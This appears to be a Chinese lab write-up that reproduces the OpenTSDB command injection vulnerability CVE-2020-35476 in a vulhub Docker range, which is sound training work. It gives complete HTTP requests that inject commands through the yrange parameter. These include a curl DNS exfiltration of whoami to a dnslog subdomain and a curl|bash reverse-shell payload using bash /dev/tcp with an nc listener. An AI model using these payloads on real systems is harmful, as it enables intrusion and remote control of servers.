实验要求
漏洞环境:OpenTSDB 命令注入漏洞(CVE-2020-35476)
- 复现环境中的命令注入漏洞,截图证明
- 尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果
- 利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器
靶场环境
进入vulhub/opentsdb/CVE-2020-35476
目录下执行docker-compose up -d
启动靶场,访问4242端口
漏洞复现
利用这个漏洞需要知道一个metric的名字,我们可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10
查看metric列表:
这里metrics为空
当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true
),所以我们可以使用如下API创建一个名为sys.cpu.nice
的metric并添加一条记录:
POST /api/put/ HTTP/1.1 Host: 192.168.52.130:4242 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Cache: no-cache Content-Length: 150 Origin: moz-extension://755c6778-2f71-4ebe-a7dc-0a4dd04aa48f Connection: close
{ "metric": "sys.cpu.nice", "timestamp": 1346846400, "value": 20, "tags": { "host": "web01", "dc": "lga" } }
|
回显
发送如下数据包,其中参数m
的值必须包含一个有数据的metric(也就是上一步所添加的):
GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1 Host: 192.168.52.130:4242 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close
|
回显
进入容器中可见touch /tmp/success
已成功执行:
DNS外带获取命令执行结果
首先去http://www.dnslog.cn/
下点击Get SubDomain
获取子域名
浏览器输入test.<所得子域名>,例如我这里是test.d8maxx.dnslog.cn
点击Refresh Record
刷新,看到记录即可
通过上面的漏洞复现,将payload改成system(curl http://$(whoami).d8maxx.dnslog.cn)
url编码得system(%22curl%20http:%2f%2f$(whoami).d8maxx.dnslog.cn%22)
,burpsuite构造请求如下
GET /q?start=2000%2f10%2f21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B0:system(%22curl%20http:%2f%2f$(whoami).d8maxx.dnslog.cn%22)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1 Host: 192.168.52.130:4242 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0 Referer: www.google.com
|
发送得到回显
刷新dnslog记录,成功获得whoami回显
反弹Shell
参考链接:
https://www.freebuf.com/articles/network/334613.html
- 在攻击主机上建立HTTP服务,同时将 payload 写进文件
cd /tmp echo 'bash -c "bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1"' > index.html
python3 -m http.server 80
|
在攻击机上开启nc监听,跟前文提及的一样
在目标主机触发payload
适用场景是绕过某些安全校验,如某个站点存在 rce,但是此时对用户的输入存在校验,导致无法直接使用payload,这里用 Curl 先将payload下载下来,再通过管道符号传递给 Bash 程序。
我的攻击主机是window,所以开启攻击机的web服务,在/www
文件夹下创建payload.html
,写入下面内容并保存
bash -c "bash -i >& /dev/tcp/192.168.137.1/6666 0>&1"
|
nc打开攻击主机监听端口nc -lvp 6666
然后构造payload
"curl 192.168.137.1:8888/payload.html|bash"
|
url编码得payload
%22curl%20192.168.137.1:8888%2fpayload.html%7Cbash%22
|
将上面payload放进system函数的括号里,发送包
GET /q?start=2000%2f10%2f21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=%5B0:system(%22curl%20192.168.137.1:8888%2fpayload.html%7Cbash%22)%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1 Host: 192.168.52.130:4242 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0 Referer: www.google.com
|
再打开刚刚的cmd窗口,可以看到成功反弹Shell,输入ls查看文件列表